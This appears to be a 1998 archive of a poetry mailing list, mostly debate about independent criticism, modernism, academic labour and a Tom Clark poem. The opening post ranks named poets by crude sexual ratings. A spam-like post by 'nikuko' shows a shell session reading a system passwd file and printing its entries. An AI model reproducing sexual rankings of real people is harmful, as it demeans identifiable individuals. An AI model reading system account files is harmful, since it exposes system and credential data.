Well being somewhat of an ex bay area-ite i feel i must weigh in on the purported lack of a scene for folks my age (mid 30s to early 40s now). i lived in ben friendlander's apt for two years after he split to bluffalot and the scene well just collapsed. that was 92 to 94. it then struck me that there may have been a reason why ben called the mag Dark Ages. i mean i never got laid. or took hallucinogens with anyone. or went to ball games with anyone.

the people my age i remember seeing, but who never hit on me i will list below, along with their sexual potentcy rating (10 being would be able to let person perform fellatio on me in public, 9 multiple wowies, 8 touched myself when i thought of person, 7 would metally undress person during my bubble bath, 6 didn't need to use Stay Hard, 5 would not kick person out of bed for eating crackers, 4 didn't need to think of Pamela Anderson to achieve orgasm, 3 person must wear bag,,, etc).

aiffe murry: 8

andrea hollowell: 8

eleni sikelianos: 9 (10 if barefoot)

cyndey chadwick: 9

wayne smith: 9

steve dickison: 8

nick robinson: 8

susan gevirtz: 9

colleen lookingbill: 8

steve farmer: 8

scott bentley: 10

laura moriarty: 10

dodie bellamy: 10

spencer selby: 10

myung mi kim: 9

pat reed: 9

eileen corder: 8

dan davidson: 10

kevin mcgee: 8

that’s all i can think of, but as is said, i didn’t get around much. and really, all i wanted was to flirt with carla harryman, who is pretty much off the scale in anyone’s book.

Bill Luoma

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33. Henry Gould

Re: crit rules

Mon 2 Feb 1998

My apologies to Mark & Rod for the querulous tone. Writing conditions are rarely simple & easy. This is not high school football & I'm not a coach.

Auntie Hen was not nagging you for not being critics (Mark is a critic). As I said originally, poets themselves are conflicted with their own interests. This doesn't rule out dem writing crit but a lot of Indie Crits will be glad just to write good reviews. I know there are such people out there. My whole point was to characterize (1) the difference between true Indie Crit and the kind of writing bent on promoting the immediate status/recognition/advantage of a person or group; and (2) the difference between Indie Crit and scholarly writing. By differentiating it I was trying to bring it forward as a force for clearing the air and recognizing poetry when it happens. Indie Crits have a silver rope which attaches them directly to Poetry. You can get them at Adler's Hardware here in Providence; I can't vouch for other places. The one I got though is quite SHORT & doesn't allow me to reach several of the low-growth new species springing up. Is this a problem for other Indie Crits?

- Henry Gould

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34. Michael Magee
Re: I see now that by forwarding this I can make it available again
Mon 2 Feb 1998

Thanks to David B for his reading of Clark and reposting of such. My main problem with these sections of "Early Warning" - though I'm in basic agreement w/ David's reading - is that its very structure seems pretty hackneyed stuff: & I don't mean its not sufficiently "experimental": even among current examples of more traditional uses of structure it just seems kind of tired. Look what happens when you empty it of its buzz-words:

"43
Driven together by a blank to blank
Knowing no blank but that of blank
They continued to blank each other's blank
Even in this blank of blank
Though allegedly they were dedicated to blank
Instead it was blank that motivated them
So that they resembled blank
Traveling in a blank with maximum blank
The attention of blank turned instantly to any
blank who threatened to blank
The rest, and this blank was collectively attacked"

This is what I call "the cliche of syntax". A pretty old story indeed.

-m.

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35. Jack Spandrift
Re: Indie Critics
Mon 2 Feb 1998

On Mon, 2 Feb 1998 00:28:14 -0700 George Bowering said:
>I cant figure out what the reference "indie critic" or "indi critic" is
>referring to. Does it mean a critic from India, or a critic of race cars?
>

George, I checked with the Anglo-Indie "buddy" of mine, Eric Blarnes - he seems to think an "Indie-Crit" is one of those lil critters you find all over India & in some large US cities around the kitchen sink & the breadbox - they are as fast as race cars - at least I think that's what Blarnes was saying - he was calling from Madras & the line was fuzzy - he kept saying - "pass th' gindie! pass th' gindie! em forster, em forster! forster!" Well, I don't know... - Jack Spandrift

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36. **Maria Damon**
Re: Modernism & PostModernism
Mon 2 Feb 1998

in this realm let me recommend ira livingston's book, Arrow Of Chaos: Romanticism and Postmodernism, in the U of MN press's Theory Out of Bounds series. it's hard to characterize and idiosyncratic, but tht is part of what makes it anti-systemic and very charming and smart.

At 3:32 PM -0500 2/1/98, R. Gancie wrote:
>David. Thanks for the post and the oppotunity to elaborate. Both
>modernism and postmodernism for me legitimate themselves by presenting
>modes for addressing conditions which engage other segments of the
>culture, be they psychoanalytic, scientific, philosophical, political,
>sociological etc. This I find to be the chief value of both. What
>distinguishes modernism is its treatment of fragmentation and
>specialization that it saw rocking Europe during and after World War I
>by attempting to remake culture in the poet's image. The moderns
>attempted to either create a new synthesis and/or to reinvent what they
>perceived as the old one. In fact there are both of these elements in
>all the moderns because all the moderns implicitly understood the value
>of historical context. The problem became to discover a new world within
>the individual voice of each poet profound enough to compensate for the
>what was perceived as the bankrupt condition of the world in which they
>found themselves. There is nothing poetically unique in that except that
>the moderns (at least the one's I'm thinking of here) used available
>texts, literally anything they felt relevant, as their actual materials.
>The thematic unity of David Jones' brilliant poems maintain a certain
>structural continuity as well by primarily limiting themselves to
>material from three historical sources. Olson on the other hand was at
>home with historical shards seeing quite accurately that history itself
>was only a jumble of fragments upon which any coherence was largely
>imposed. Pound interests me most, not only because the Cantos are
>probably the best of all the modernist works, but because even though he
>more or less invented the modernist mode, possibly coming to certain
>realizations as he edited Eliot's Ur-Wasteland, he was also ill-suited
>temperamentally to the task of stanching the fragmentation of a culture.
>Pound begins the Cantos in medias res almost as though coherence will
>someday present itself out of the mists like Ithaca to the wandering
>Greeks. I'm exaggerating a great deal here by ignoring the large poetic
>and intellectual experience Pound brought to the Cantos, but it still
>remains that he finally admitted that he could not make them cohere. It
>was through this ethos of failure of the poem's thematic structure that

>Pound made his most important discoveries and created the Cantos' most
>enduring passages. In the end Pound even more profoundly than Olson
>reflected our true historical condition by incorporating fragmentation
>and failure in a work of art which in so many ways paralleled the
>failure of his own personal history. Pound among all the modernists
>became an historical figure for better or worse and did it, in part, by
>resisting (to the point of madness) the unsculpturable lessons of his
>own chosen materials in the end succumbing, like the Cantos, to the very
>fragmentation he sought to overwhelm.
>By the time we get to the PostModernist, Olson is their true Penelope
>because we are prepared to accept the now overwhelmingly obvious
>condition of fragmentation. This is utterly legitimate; in fact it shows
>good sense. I'm just not certain that the role of poets is to show good
>sense. In this era of 'good sense', scientific method, modelling (not of
>the runway type), standardization, globalization, digitization etc.,
>with all the dreams of the futurist's clean fascist lines realized,
>poets will have little or no role to play. They will have no role no
>matter how impeccably elegant their constructs, and no matter how much
>hermeneutical precision they achieve, no matter how fashionable they
>make formal and contextual randomness. Any solutions that I might
>propose would of course embody personal thematic materials. But as with
>all moderns this thematic material would not be restricted to my own
>navel. I have more than hinted at some of my concerns in other posts to
>this site and I intended to elaborate today but that would make this a
>very long post indeed. I would just like to say that the current attacks
>on some fifth generation academic heirs to some of the
>'counterintuitive' conditions introduced over 80 years ago, should have
>presented an opportunity for poets too. That it presented no opportunity
>for those poets that support sciences purportedly pragmatic and
>authoritarian side is no surprise; the juggernaut hardly needs them.
>Among poets, individuals versed in the counterarguments are virtually
>non-existent. Don Byrd's statement that "The only poetry that I know
>that attempts to face this urgency [e.g. ecological disaster] is
>sentimental and hopelessly naive" is true but not uncorrectable. Fish,
>Aronowitz, Hayles et al aren't great; but they've hit upon some
>legitimate concerns as you can judge from the vehement response among
>the establishment; an establishment that fears history so much that it
>positions itself so that it must ridicule and deny the philosophical
>ruminations of the physicists that birthed their very enterprise. Seems
>to have some elements of Greek tragedy with the postmodernist
>philosophers as chorus?---Carlo Parcelli

>P.S. I can connect the dots between formal systems and ecological
>disaster but it ain't pretty.

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37. Mark Wallace
criticism rules
Mon 2 Feb 1998

Hey, Henry, thanks for your response! But I think you will note that the criticism which you call for actively does exist, if you have been paying attention. I think you HAVE been reading the various publications in which such criticism appears, but if you have not, let me point you in its direction: magazines like Talisman, Witz, the forthcoming Tripwire, Poetic Briefs as it appears on occasion, Chain, and others of longer and shorter tenures. I'm a little bit mystified as to why you think such criticism does not exist, unless you think that your broad generalizations that all contemporary critical writing is mere puffery is itself a statement of more than mere generalized anti-puffery. Do you really believe that what's going on with poets today can simply be reduced to a kind of mutual careerist ass-kissing, in which you yourself may be the only voice calling for a legitimate self-criticism? As an Ernest Hemingway character once said, "Isn't it nice to think so?"

On the subject of "whining," while it's clear to me that the erosion in the quality of American work life, in the academic world and elsewhere, must primarily be laid at the door of the changing nature of American business-life (with its increasing consolidation of wealth at the top, and its elimination of stable jobs and a startlingly high rate of speed), I do feel that the sustained political ignorance of tenured English professors like yourself towards the rapidly decaying quality of academic life bears some responsibility for the troubled (some might say disastrous) conditions of life in English departments. Thankfully, some tenured English professors have both the grace and the courage to see that attacks on the tenure system, and the reliance on part-time professors with minimal salaries, no benefits, and very little ability to protect themselves from administrative whims represent a threat to their own, perhaps limited autonomy. That legitimate critiques of this system seem to you "whining" make it perfectly clear to me to what extent you remain part of the problem, rather than the solution. So, while I actually do enjoy your poetry, I'm afraid that cannot override the fact that in terms of those of us presently involved in seeking change in the academic world, your presence on this list, and in academic life, represents an ultimately negative force. And this is a great shame, because your energy and intelligence, both of which are clearly great, could be useful rather than destructive.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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38. Jordan Davis
10E6 by Y2K+70
Mon 2 Feb 1998

Bob Hale asks how goes the million poems project.

Henry calls for an independent auditor from within the group. But Henry, that's like putting the director on the board! You would have to leave the group, zap the p-ram, rewind, disappear, watch yr parents make love!

True, Barney Newman wrote nice things about birds and city planning. Would it be really be surprising if all these poets we are started talking about subjects other than the goddam importance of poetry? And if there were a paraphrasable meaning there nobody'd mentioned yet (notice: not 'thought of') would that be terrific. And if there suddenly proved to be poetry written before 1855, what of it? Short and long words, short and long vowels, no meaning but in variation.

We are natural consultants. Or we're fluoridated consultants, either way, there is a common willingness to speak and to speak well about everyone else's business. Good! Now get yr sloppy knees out of Providence and start scraping at court like the rest of the masquers. Loshar haron, baby.

Bob, I am subcontracting not by seance but by association. It still looks like forty poems a day for the next seventy years. Worst case is I become pharaoh and conscribe the entire output of the umfahs. Best case is the third bureaucratic dream and all that's asked is what Bruce said at your party, a thousand lines. Ah but then to have to Scheherazade for my supper and write each line a book of stone eight miles long! And call it the Strand.

Henry, the truth is more important than novelty or mere quality, right? Why assume nobody knows this? If it's rollerderby you want, I can lend you my skate key. I'd rather make sense or nonsense of other arts and sports. The best criticism is living hell.

OK enough stale syntax from me
J

↑ Index

39. Henry Gould
crit rules/doesn't rule
Mon 2 Feb 1998

Jordan thinks I'm calling for an internal auditor so we can have more ISN'T POETRY GREAT writing. Jordy, you may be suffering from list- overdose, and it sure is nice when people think of things other than poetry to write about (like Newman). But you lookin in the wrong side of the mirror. Indie-critics aren't part of our club.

Mark thinks I'm just generalizing by pointing out the diff between independence & individual/group puffery. I guess we see things differently. I have said all along that yes there are indie crits out there. But I stand by my exaggeration that 99% of what you find in the journals we jump on is either puffery or somebody's academic churn-out. Funny how it gets called "politics".

Mark, I don't think you or Rod or anybody's whining. I apologize again for that. What I do say is that your tenure wars or job hassles, or Rod's take on the munchin'prole status of his generation - WHILE IT MAY BE OF GREAT INTEREST & EVEN AFFECT A POETIC STYLE - in no way proves that a poetry is beyond criticism. & I repeat: Indie crits will be the best readers of what's out there.

p.s. I am not a tenured prof. I am a non-professional member of the SEIU Library Workers Union at Brown Univ. Library. I process book orders for a living & to pay child support, have been through a long strike in the not-distant past, & probably make about as much $$ as you do. Does that make me ineligible for your prof-wannabee club? Sorry, teach. - Henry Gould

↑ Index

40. KENT JOHNSON
Re: criticism rules
Mon 2 Feb 1998

On Feb. 2, Mark Wallace said:

> *That legitimate critiques of this system seem to you "whining" make it perfectly clear to me to what extent you remain part of the problem, rather than the solution. So, while I actually do enjoy your poetry, I'm afraid that cannot override the fact that in terms of those of us presently involved in seeking change in the academic world, your presence on this list, and in academic life, represents an ultimately negative force. And this is a great shame, because your energy and*

> *intelligence, both of which are clearly great, could be useful rather than destructive.*

So much for the dialectic.

Kent

↑ Index

41. Rebecca Weldon Sithiwong
Art forms
Mon 2 Feb 1998

Thank you Henry Gould:

"Criticism can be an art form too, if and when it's brave enough to look at poetry as something other than a career or a kind of translated politics."

And, of course, poetry must be brave.

↑ Index

42. Mark Prejsnar
Re: criticism rules
Mon 2 Feb 1998

Mark Wallace's longish post was the first in this very prolific thread that I felt much positive response to. Great set of comments, Mark!!

I read most things I hear of, that examine Langpo and other non-mainstream work,...and I strongly agree, that ideas rather than poetry have received most of the attention from acadominating commentators...And *the idea of the poetry*...Since the official verse kult'ure is very threatened by stuff that sounds interesting, they are much happier talking at and about the work, than listening to it, and engaging it.

In general I've little use for Henry's indie productions, that have garnered so many expressions of support.

I think the best and most useful and productive criticism and theory, is being done by poets.

When I think of an indie critic, I picture Helen Vendler.

Mark Prejsnar
@lanta

↑ Index

43. Dale M Smith
The Necessity of Moral Perception
Mon 2 Feb 1998

I think that David's problem with Tom's poems is similar to problems some people have had in response to some of Henry's naked posts. The assumption is that both Tom and Henry stand aside from the critique they make. Others find find these judgments invalid because the authors offer their complaints from an isolated realm above that which they judge. But I think these blunt observations and direct engagements of moral and artistic values put both writers in extremely vulnerable positions. Anyone who offers a moral critique of an orthodox community risks the same rebuttals and diminishments that these exacting and demanding words provoke. Know one likes to be reminded that poetry, like everything else in this country, functions and has functioned on the same market values as business. PR is necessary or your poems risk an obscurity matched only by your life. Voices such as Tom's are reminders that you've got to have something to sell, something to bring for your business efforts. Promotion is not necessarily the problem, it's what you're promoting that raises eyebrows. Tom's and Henry's courage to state the obvious that few are willing to admit, however, is essential if poetry is to maintain a resemblance to its ancient roots and the possibilities of power those roots teach. Tom's critique stems from survival, anglo and monosyllabic. He sacrifices your good opinions of him in order to remind you that there are reasons besides our vanity and positions in the world of mammon to engage the art of poems. By the way, he may have quite a few books on the market, but he's made little profit on them, especially in recent years. At a time when other poets of his generation are accepting the rewards of their labor, Tom suffers under a weight of indifference due to the weak-minded and patheticall y fearful troops of the poetic apocolypse. Anyway, his dedication, vulnerabili ty, and willingness to speak clearly against the machines of our markets has cost him more than a perceived lack of irony.

Selling is the game, but you've got to have something of value. That's why business is a more honest trade these days, if less glamorous and more tedious

Dale Smith

↑ Index

44. Mark Wallace
Situation #16 now available
Mon 2 Feb 1998

Situation #16 is now available. It features the work of Anselm Berrigan, Anne Blonstein, Brenda Coultas, Jacques Debrot, Henry Gould, Jen Hofer, Brian Lucas, William Marsh, Chris Vitiello, and Terence Winch.

Situation is edited by Joanne Molina and Mark Wallace. Subscriptions are $10 for four issues or $3 for back or single issues. All submissions must be accompanied by a SASE. Make checks payable to Mark Wallace. Send submissions or subscriptions to Situation, 10402 Ewell Ave., Kensington, MD 20895.

We feel that this is one of our very best issues, so we hope you'll check it out.

↑ Index

45. k. lederer
Re: missing generation
Mon 2 Feb 1998

Bill!

↑ Index

46. Harold Rhenisch
Re: Indie Critics
Mon 2 Feb 1998

>>I cant figure out what the reference "indie critic" or "indi critic" is referring to. Does it mean a critic from India, or a critic of race cars?

Neither. It means "In dee Critic", meaning where to insert the poem.

This reader is reminded of the German "Das Geld hier einwerfen!", stalwartly translated on coinboxes throughout Germany as "Throw your money in here."

Harold Rhenisch
[redacted]

↑ Index

47. Gary Sullivan
Re: Response to Maria's Question
Mon 2 Feb 1998

Yow! I'm sorry, Maria! I really never meant to put you on the defensive, nor did I mean to imply you weren't dancing as fast as you can. I know you are! My question was probably very naive; I was under the assumption that your original question ("anyone else noticed imbalance?") implied longing for some more-than-individual push toward rectification. Further assumption being that any such nudge might, at this time, be communal, as opposed to individual, effort. I thought you were calling to arms! & was kinda prompting you further,

wondering if you had some ideas you were tempted to throw out. Anyway, putting you on the defensive was really the last thing on my mind. Forgive me!

Gary Sullivan
[redacted]

↑ Index

48. nikuko
Nikuko's Service Offer
Mon 2 Feb 1998

```
#################################################
#######################
#################################################
#######################
```

Hey Guys, Write Me! I'll do _Anything_ Just for You!

- Nikuko!!!!!

```
Nikuko p0  tc-1-119.fukuoka  2:10AM     0 w
{k:14} cat passwd | grep nikuko
nikuko:*:13788:22:Nikuko:/home/n/nikuko:/bin/ksh
daemon:*:1:1:Nikuko1 System Daemon:/:nologin, comeon!
sys:*:2:2:Nikuko1 Operating System:/tmp:nologin, comeon!
bin:*:3:7:Nikuko1 BSDI Software:/usr/bsdi:nologin, comeon!
operator:*:5:5:Nikuko1 System Operator:/usr/opr:nologin, comeon!
games:*:7:13:Nikuko1 Games Pseudo-user:/usr/games:nologin, comeon!
news:*:9:8:Nikuko1 USENET News:/var/news/etc:nologin, comeon!
demo:*:10:13:Nikuko1 Demo User:/usr/demo:nologin, comeon!
(I'm not Nice!)
```

```
#################################################
#######################
#   Format of headers   #
#################################################
#######################
```

```
H?P?Return-Path: <$g> Nikuko, eh?
HReceived: $?sfrom $s $.$?_($?s$|from $.$_)
        $.by $j ($v/$Z)$?r with $r$. id $i$?u
        for $u; $|;
        $.$b
H?D?Resent-Date: $a
H?D?Date: $a
H?F?Resent-From: $?x$x <$g>$|$g$.
```

```
H?F?From: Nikuko, eh? $?x$x <$g>$|$g$.
H?x?Full-Name: Nikuko, eh? $x
# HPosted-Date: $a
# H?l?Received-Date: $b
H?M?Resent-Message-Id: <$t.$i@$j>
H?M?Message-Id: <$t.$i@$j>
#
#
##################################################
#######################
 Script started on Tue Feb  3 02:23:09 1998
$ ps
  PID  TT  STAT      TIME COMMAND
17546  p0- I      0:00.00 leave, Nikuko! +59
20548  p0  Ss     0:00.12 -ksh (ksh)
20580  p0  I      0:00.00 leave, Nikuko! +59
24744  p0  S+     0:00.01 script ll
24756  p0  S+     0:00.01 script ll
24757  p1  Ss     0:00.01 sh sh, shhh, Nikuko! (ksh)
24959  p1  R+     0:00.00 ps
$ exit Nikuko!

Script done on Tue Feb  3 02:23:20 1998
##################################################
#######################
##################################################
#######################
##################################################
#######################
```

↑ Index

49. David Benedetti

Re: Toro Toro

Mon 2 Feb 1998

"Beware of the bull with three horns"
or
"Don't try to milk a bull"

↑ Index

50. Dale M Smith
Re: criticism rules
Mon 2 Feb 1998

Yeah. And what are these changes? Do you mean the ones that continue to turn the academy into a dalliant intstitution of artistic and intellctual pretensions? The continued attempts of jealous critics to remove power from the poets in order to fulfill their own uncreative hunger for the poet's intuitive abilities? The continued removal of literature from practical interprative skills? The alienating and continued building of obscure hermetical theories of vain and deluded investitures?

I may be wrong, but part of the academy's failure is that it has allowed critics to distort the balance of art and interpretation *and quite a few of the poets bought into that*. The problems facing those of us who want to know something, regardless of which side of the academic fence you're on, is practical. As poetry and criticism blur into a more and more similar form, the power of both weakens. But perhaps I'm missing something of this new academy. I hope so. Maybe I'm wrong. Steve Evans is certainly a dedicated critic. Maybe there are others with devotion to poetry, rathe than to ideas about it.

Rar.

To: [redacted]

On Feb. 2, Mark Wallace said:

> *That legitimate critiques of this system seem to you "whining" make it perfectly clear to me to what extent you remain part of the problem, rather than the solution. So, while I actually do enjoy your poetry, I'm afraid that cannot override the fact that in terms of those of us presently involved in seeking change in the academic world, your presence on this list, and in academic life, represents an ultimately negative force. And this is a great shame, because your energy and intelligence, both of which are clearly great, could be useful rather than destructive.*

So much for the dialectic.

Kent

↑ Index

51. KENT JOHNSON
Re: Toro Toro
Mon 2 Feb 1998

On Feb. 2, David Benedetti wrote:

> "*Beware of the bull with three horns*"
> *or*
> "*Don't try to milk a bull*"

Bully for you, David! Did you know, funny coincidence, that Uruguay's most famous contemporary writer is named Mario Benedetti?

Kent

↑ Index

52. Jack Spandrift
Re: Toro Toro
Mon 2 Feb 1998

> "*Beware of the bull with three horns*"
> *or*
> "*Don't try to milk a bull*"

Bene, bene, Benedetti - thou too hast read the parable aright, along with Brother Dale. For he that hath nought whereof to sell, behold, thou shalt find him doin' the street-shell game on Broadway. Behold, this is a hard saying for yon poets; hard indeed is the sell whereof I speaketh. For it would be better for them not to sell at all; lo, this is the Walter Mitty safeliest way of yon courageous Henry.

- J amongst the Books Of...

↑ Index

53. k. lederer
Re: Rachel, criticism, 420 E Davenport, anthropology--
Mon 2 Feb 1998

Dear Rachel,

Interesting issues--I suppose that I would have to hone in on the question you ask about the connection between Nick Regiacorte's work and Josh May's work.

This kind of questions brings up something really fascinating--I think--something that answers to a lot of the recent posts on the list about criticism in general--

I think (as a sometimes-critic, and also as a poet) that good criticism is usually a homage to one's own taste--

If I like a writer's work, I want people with whom I share "discourse" to be familiar with that person's work--

I want that person to be able to publish a book if that's what he or she wants to do--

I want to convince people that this writer is as good as I think he or she is so that, finally, I can further enjoy this person's work and share it with others--

If I like a writer, I want to "share" that writer with others--

Now of course my take on the writer is going to be highly situated--highly personal--

If I set up camps or groups of writers--it is merely according to my whims, my take on their work--

Perhaps (as is true of my magazine) I would try to put writers in various contexts together so that certain aspects of their work might be highlighted and (inevitably) other aspects of their work be de-emphasized--

I don't think there's anything wrong with this approach--

Personally, I was trained in anthropology as an undergrad--

I also majored in English--

In the early 90s, the two disciplines shared a lot of concerns (vis-a-vis Foucault, Greenblatt, Derrida etc).

I always found that the debates that were current in anthro at the time applied readily to issues in lit crit.

How can an observer even pretend to be objective about another culture (poetic?)?

How can one still write ethnography (criticism) in the context of the "new" "world system" (or, alternatively, the newly homogenizing, and increasingly market-driven "academic economy")?

How can anthropologists continue to practice ethnography in light of their traditional (whether purposeful or no) collusion with colonial forms of oppression--

e.&&&&

All of these questions resulted in some pretty simple answers:

The anthropologist should try to make it clear to the reader--to the best of their ability--their situation, where they're coming from. Pretentions toward objectivity were abandoned in some regards in 80s and early 90s anthro--

The anthropologist should, perhaps, focus on cultures that have been considered heretofore not so "strange" or "exotic"--science, governement, stock-market culture, gamblers in Vegas etc. (Mimesis and Alterity by Michael Taussig is interesting in this regard--)

(This issue echoes, I think, this notion that critics are inevitably the "oppressors"--that somehow it seems that only poets should be "allowed" to write criticism--or perhaps that poets should never be allowed to write it--the binary is similar in either case)

The anthropologist should keep a number of ethical imperatives in mind at all times:

Do not "study a culture" to its detriment--

Do not collude with the "forces of oppression"--

Do not make claims about a given culture (poetic?) without having done the necessary research--

Etc.

I think that most of the above leads to one conclusion in particular--

The best way to encourage fair and ethically sound criticism (of a culture--of a book of poetry?) is to encourage all different types of people to practice such criticism--

Rather than push objectivity, perhaps we should try a new approach--and push subjectivity.

That's how I do my criticism--that's how I edit. Sometimes my "subjectivity" demands that I publish work that isn't "perfect" because it still contributes to a larger dialogue in which I may be "subjectively" interested--

I try to have braod representation (race, gender, poetic camp, ability to craft a poem etc) in my magazine because it is in my best interest--intellectually and socially--to encourage an array of voices, approaches, poetics--even "abilities."

I like to put Nick R and Josh M together because of my highly subjective interest in some of the tonal strategies they both employ--

This is because I am very interested in tone in my own writing--

I also mention them because I go to school with them and am forced to engage with their work on a daily basis--

These are not, in my view, things to be ashamed of--they are partialities, yes, but they are my partialities--partialities that I would never expect anyone else to take on--though I would love it if they did--

Yours,
Katy (Mrs. Robinson Upstairs)

****

On
Sat, 31 Jan 1998, R M Daley wrote:

> *katy*
> *weez down here in the midwest shur are grateful for 't all the talkin*
> *bout things in-teelekchul-*
>
> *but just to ask which generation is it that one belongs to ifn this is the*
> *case - ie, what if this seemingly necessary definition-by-generation is*
> *not so necessary seeming? in this belly of the beast even, arent there*
> *first years, second years, undergrads, not-in-the-workshoppers, undergrads*
> *in workshops, ... - just to say that maybe a 'critical' take understood*
> *via singular constructions such as generational, or gender, arent so*
> *useful finally- and like you say, how bout looking at the 'work' (as*
> *opposed to the 'play'??)- in this respect,*
> *i'm interested in the link you imply in work such as nick regiacorte's and*
> *that of say, josh may - both of whom have writing around, maybe not in the*
> *'successes' form of a book contract or even a single publication, but*
> *beyond this, what gives? - in the end, what is the motivation to say 'this*
> *work belongs in this camp, this one belongs over here'? reviews aside,*
> *which do seem to function purely as PR (have never personally read a*
> *scathing review of any book, poetry), 'critical' work, as you have said*
> *before, can certainly be that kindo f thing taht tells you as much about*
> *how a reader reads as a writer writes - well that these are more closely*
> *related in process (read: simultaneous) than the terminological*
> *distinction between 'reader' and 'writer' ('critic' and 'writer') makes*
> *them out to be*
>
> *rd*

↑ Index

54. **p. durgin**
M. A. Tata
Mon 2 Feb 1998

Sorry to clog the way with this sort of request (again), but would anyone have a snail-mail address for Michael Angelo Tata (poet featured in the latest issue of Mass Ave.)? I've gone and lost it. Thanks.

Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|

` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

55. daniel bouchard
gerald burns
Mon 2 Feb 1998

Howdy. If anyone can tell me who the literary executor/copyright holder to Gerald Burns' estate is, please back-channel me.

Your help is appreciated.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

56. Keston Sutherland
CCCP (fwd)
Mon 2 Feb 1998

In case anyone's interrailing

---------- Forwarded message ----------
Date: Mon, 2 Feb 1998 17:47:35 +0000
From: Peter Riley <[redacted]>
To: [redacted]
Subject: CCCP

Update:
Cambridge Conference of Contemporary Poetry
April 25th-27th at Kings College Cambridge

We have had several setbacks in programming, notably the death of John Forbes, so there are still some gaps and uncertainties. At present the line-up looks like this---

Roy Fisher, Anthony Barnett, Helen Macdonald, Keston Sutherland, Peter Gizzi, Lee Ann Browne, Peter Blegvad, Lisa Jarnot, Olivier Cadiot, Philippe Beck

(unconfirmed), Michelle Grangaud (uncomfirmed). Plus a John Forbes memorial, music(?) and an exhibition of visual arts by or associated with Tom Raworth.

Booking enquiries: Ian Patterson, Kings College Cambridge, CB2 1ST. 01223 331196. email: [redacted]

John Tranter has asked me to mention that anyone interested to find out more about the late John Forbes could consult the Jacket Magazine website http://www.jacket.zip.com.au where in issue #3 there is a poem by Forbes, and will later be a memorial section.

/Peter Riley

↑ Index

57. Safdie Joseph

Re: I see now that by forwarding this I can make it available again

Mon 2 Feb 1998

On the contrary, I think Michael has just improved Tom's poem greatly! An excellent method of "making it new," Michael! Just leave it up to the reader's imagination -- make the reader the author -- isn't that one of the very tenets of the poetry you admire?

I'll have some more to say about David's lively, intelligent yet ultimately un-generous post (which didn't, by the way, deal with the reason I posted those stanzas) as soon as I can -- but really, emptying verse of its so-called "buzz words" -- its CONTENT! -- to call attention to its syntactical framework seems an empty exercise indeed.

> *----------*
> *From: Michael Magee[SMTP:[redacted]]*
> *Sent: Tuesday, February 03, 1998 2:06 AM*
> *To: [redacted]*
> *Subject: Re: I see now that by forwarding this I can make it available again*
>
> *Thanks to David B for his reading of Clark and reposting of such. My main*
> *problem with these sections of "Early Warning" - though I'm in basic*
> *agreement w/ David's reading - is that its very structure seems pretty*
> *hackneyed stuff: & I don't mean its not sufficiently "experimental": even*
> *among current examples of more traditional uses of structure it just seems*
> *kind of tired. Look what happens when you empty it of its buzz-words:*

> *"43*
> *Driven together by a blank to blank*
> *Knowing no blank but that of blank*
> *They continued to blank each other's blank*
> *Even in this blank of blank*
> *Though allegedly they were dedicated to blank*
> *Instead it was blank that motivated them*
> *So that they resembled blank*
> *Traveling in a blank with maximum blank*
> *The attention of blank turned instantly to any*
> *blank who threatened to blank*
> *The rest, and this blank was collectively attacked"*
>
> *This is what I call "the cliche of syntax". A pretty old story indeed.*
>
> *-m.*

↑ Index

58. **david bromige**

Tom Clark's moral perception

Mon 2 Feb 1998

Dale, and the matter of the Brecht quote that Tom so immorally misapplied?

↑ Index

59. **Michael Magee**

Re: I see now that by forwarding this I can make it available

Mon 2 Feb 1998

Hmm...this seems "ultimately ungenerous," I thought mine was a somewhat interesting excercise, I rather like my version, pot-shots at the "poetry I admire" aside, now that I think about it; but, oh well, back to my little laboratory of "experiments" (that's what the poets you admire think of the poets I admire, isn't it?). Last of my tit-for-tat, -m.

According
to Safdie Joseph: >
> On the contrary, I think Michael has just improved Tom's poem greatly!
> An excellent method of "making it new," Michael! Just leave it up to the
> reader's imagination -- make the reader the author -- isn't that one of
> the very tenets of the poetry you admire?
>

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> ultimately un-generous post (which didn't, by the way, deal with the
> reason I posted those stanzas) as soon as I can -- but really, emptying
> verse of its so-called "buzz words" -- its CONTENT! -- to call attention
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> > To: [redacted]
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> > hackneyed stuff: & I don't mean its not sufficiently "experimental":
> > even
> > among current examples of more traditional uses of structure it just
> > seems
> > kind of tired. Look what happens when you empty it of its buzz-words:
> >
> > "43
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> > The attention of blank turned instantly to any
> > blank who threatened to blank
> > The rest, and this blank was collectively attacked"
> >
> >
> > This is what I call "the cliche of syntax". A pretty old story
> > indeed.

> >
> > -m.
> >
>

↑ Index

60. Ben Carrelis
Celan/Montale/Olson/Coatlicue
Mon 2 Feb 1998

On a certain level - like one of the allegorial levels in Dante's INFERNO, where each character is both irrefutable and damned - Henry the Bull's call for a independent critic - the Voice of the General Reader - is relentless & undefeatable. The most cogent counter-argument simply points out the limitations of that argument while augmenting its undeniable results.

Here in Sydney a study group has evolved into four separate groups in dialogue, each based on a different subject: Celan, Montale, Charles Olson, and the as-yet unread (for the most part) Mexican poet Guada L. Coatlicue. The impact of Coatlicue's feminist subsumption & rewriting of the three male Euro-American authors within a historical-personal _allegoria tota_ is difficult to encapsulate; but in relation to Henry the Bull's Papal Bulls, one comprehends perhaps more deeply than was intended the meaning of "bull darkness". To summarize: poetry, along with music & visual art, has enacted a trajectory of autonomy over several generations; the most intense and productive creations require a SPECIAL READING alert to the allegorical motives of the text. Henry"s "washed clean" indie crit is to the "bought out" poet-as-con-artist as Coatlicue's poet-as-hermetic secret is to Henry's indie-crit. I.e. the indie-crit as representative of an aesthetic surface response will never penetrate the interior motive of the poet-as-such.

